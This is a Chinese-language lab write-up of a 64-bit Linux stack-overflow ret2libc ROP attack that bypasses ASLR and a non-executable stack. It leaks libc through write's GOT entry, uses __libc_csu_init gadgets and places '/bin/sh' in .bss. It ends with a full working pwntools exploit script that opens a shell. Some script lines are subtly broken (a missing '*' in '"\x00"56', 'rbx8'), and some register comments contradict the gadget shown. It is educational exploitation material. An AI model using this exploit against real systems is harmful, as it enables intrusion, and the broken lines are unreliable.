64位linux系統：棧溢出+ret2libc ROP attack

一．實驗要求
棧溢出+ ret2libc ROP
? 操作系統：Ubuntu 16.04 64bit
? 安全機制：不可執行位保護，ASLR（內存地址隨機化）
打開安全機制，確保×××能繞過以上安全機制，利用漏洞完成attack，實現基本目標：調用system(“/bin/sh”)，打開shell。
二．實驗概述
ret2libc（return-into-libc）是一種利用緩沖區溢出的代碼復用技術，主要通過覆蓋棧幀的返回地址(EIP)，使其返回到系統中的庫函數，利用庫函數中已有的功能來實施attack，而不是直接定位到注入的shellcode。
Linux系統關于緩沖區溢出主要有棧不可執行和ASLR的保護機制。ASLR 可以實現對進程的堆、棧、代碼和共享庫等的地址在程序每次運行的時候的隨機化，大大增加了定位的難度。此外，在Linux64位系統中，函數間傳遞參數不再以壓棧的方式，而是以寄存器方式傳遞參數。所以，要想在64位Ubuntu系統中實施attack操作，除了要繞過上述兩個安全機制外，還需要控制用于傳遞參數的寄存器。本次attack主要有三個關鍵點：
1) 棧不可執行→代碼復用（ret2libc調用系統函數）
2) ASLR→通過plt和got表獲取系統函數的地址
3) 64位系統以寄存器方式傳遞參數→通過ROP控制寄存器
三．實驗環境
Ubuntu desktop 16.04 LTS amd64
Gcc Gdb Python PwnTool
四．實驗內容
4.1 漏洞程序
漏洞程序vul.c代碼如下，main函數把“Hello ,World”讀取到標準輸出中，調用vulnerable_function()函數。在vulnerable_function()函數中，申請了128字節的buf，調用read()讀取標準輸入到buf中，未做邊界檢查，這就是漏洞所在。

將地址空間隨機化打開sudo sysctl –w kernel.randomize_va_space=2
gcc編譯漏洞程序，顯式指明-z noexecstack，正常運行效果如下圖所示：

4.2 attack漏洞程序
4.2.1 獲取溢出點位置
為了正確定位溢出點位置，構造如下txt文件。

在gdb調試中運行發現溢出，由于程序使用的內存地址不能大于0x00007fffffffffff，否則會拋出異常，所以程序停在了vulnerable_function()函數中。雖然PC不能跳轉，但ret相當于“pop RIP”指令，所以只需看一下棧頂的數值就能知道PC跳轉的地址。可以看到棧頂的數據為0x3765413665413565，即e5Ae6Ae7，在文件中是第137個字節，所以溢出點為136。

4.2.2 尋找gadgets
64位Ubuntu系統中前六個參數依次保存在RDI, RSI, RDX, RCX, R8和 R9寄存器里，如果有更多的參數再保存在棧上。漏洞程序中只有read()和write()兩個函數，沒有其他輔助組件。為了控制傳遞參數的寄存器，可以在程序初始化函數中提取通用的gadgets。
輸入objdump –d ./vul觀察_libc_csu_init()函數。

有兩處可以利用的配件：

配件1

4005f0: 4c 89 ea                mov    %R13,%RDX
  4005f3:   4c 89 f6                mov    %R14,%RSI
  4005f6:   44 89 ff                mov    %R15d,%EDI
  4005f9:   41 ff 14 dc             callq  *(%R12,%RBX,8)
  4005fd:   48 83 c3 01             add    $0x1,%RBX
  400601:   48 39 eb                cmp    %RBP,%RBX
  400604:   75 ea                   jne    4005f0 <__libc_csu_init+0x40>

利用配件1，如將RBX設置為0，R12可以控制，通過callq*(%R12,%RBX,8)就可以跳轉到任意地址執行代碼。之后將RBX寄存器內容加1后，判斷如果RBP等于RBX，就會繼續執行第一次的代碼。為了讓RBP和RBX的值相等，可以將RBP的值設置為1。

配件2

400606: 48 83 c4 08             add    $0x8,%rsp
  40060a:   5b                   pop    %RBX
  40060b:   5d                   pop    %RBP
  40060c:   41 5c                   pop    %R12
  40060e:   41 5d                   pop    %R13
  400610:   41 5e                   pop    %R14
  400612:   41 5f                   pop    %R15
  400614:   c3                      retq

利用配件2可以將棧上數據放到指定寄存器中。
通過利用這兩處配件，布置棧中數據，便可以利用配件2控制RBX,RBP,R12,R13,R14,R15寄存器的值，再利用配件1，控制RDX,RSI,EDI寄存器，調用寄存器R12中所存地址的函數。
4.2.3 通過偏移獲取system函數的地址
由于ASLR機制是將棧和共享庫文件等的起始地址隨機化，而內部數據之間的偏移不變，所以可以通過先泄漏出libc.so某些函數在內存中的地址，然后再利用泄漏出的函數地址根據偏移量計算出system()函數的地址。
在漏洞程序vul.c中調用了write()和read()函數，可以通過write()輸出write的got地址，再計算出libc.so在內存中的地址。為了返回到原程序中，重復利用漏洞，需要繼續覆蓋棧上的數據，直到把返回值覆蓋成目標函數的main函數為止。
構造payload1需要知道三個數據：write的got地址，write和system的偏移，main函數的地址。前兩個數據可利用pwntool中的函數獲得，而main函數的地址在命令行中輸入objdump -d vul | grep main獲得。


執行完后棧結構如下圖所示，調用callq[R12+RBX*8]，RBX為0，所以調用R12中的write函數，write的三個參數分別通過EDI,RSI,RDX寄存器傳遞，即執行wrtie(1,got_write,8)，將write的函數地址在標準輸出即屏幕上打印出來，通過之前計算的偏移就可以計算出system函數的地址。然后RBX加1，與RBP=1比較，正好相等，繼續往下執行，由于下邊全是0，最后跳轉到函數main處繼續執行。

4.2.4 利用read()將system()地址和字符串“/bin/sh”讀入.BSS段中
由于64位系統的參數不是保存在棧上，而是通過寄存器傳遞，再加上開啟了ASLR，需要找一個地址固定的地方保存參數。BSS段用來保存全局變量值，地址固定，并且可以讀可寫。為了方便調用system函數和傳遞參數” /bin/sh”，可以利用read()函數將其寫入到地址固定的BSS段中。
構造payload2需要知道兩個數據：read的got地址，BSS段的首地址。其中read的got地址直接利用pwntool中的方法即可獲得，而BSS段首地址可在命令行中輸入readelf -S vul | grep BSS獲得。


執行完后棧結構如下圖所示，與payload1類似，調用R12中的read函數，所需的三個參數分別通過EDI,RSI,RDX傳遞，即執行read(0,BSS_addr,16)，從標準輸入中讀取16個字節寫入BSS段的首地址中，這16個字節包括上一步計算出的system地址和字符串”/bin/sh”。

4.2.5 執行system(“/bin/sh”)
經過以上兩步，已經把system的地址和調用時所需的參數“/bin/sh”字符串存入了BSS段中，BSS段地址固定，構造payload3調用system。

執行完后棧結構如下圖所示，類似的，R12中存儲的是BSS段首地址，BSS段的首地址存儲的是system函數的地址。R15中存儲的是BSS首地址+8，BSS+8存儲的是字符串”/bin/sh”，將R15的值賦給EDI，EDI用來傳遞第一個參數，即調用了system(“/bin/sh”)。

最終獲得了shell，運行結果如下圖所示：

附：

attack代碼exp.py
`#!/usr/bin/env python
from pwn import *

elf = ELF('vul')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process('./vul')
got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)

main = 0x40057a

#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x41"*136

#pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(8) + p64(got_write)+p64(1)
#mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx8]
payload1 += p64(0x4005f0)
payload1 += "\x00"56
payload1 += p64(main)

p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)

write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)

system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)

bss_addr=0x601040

p.recvuntil("Hello, World\n")

#####################payload2###########

#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)

payload2 = "\x00"*136

payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0)

payload2 += p64(0x4005f0)

payload2 += "\x00"*56
payload2 += p64(main)

print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)

p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)

p.recvuntil("Hello, World\n")

#####################payload3###########

#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")

payload3 = "\x00"*136

payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8)

payload3 += p64(0x4005f0)

payload3 += "\x00"*56
payload3 += p64(main)

print "\n#############sending payload3#############\n"
sleep(1)
p.send(payload3)

p.interactive()
`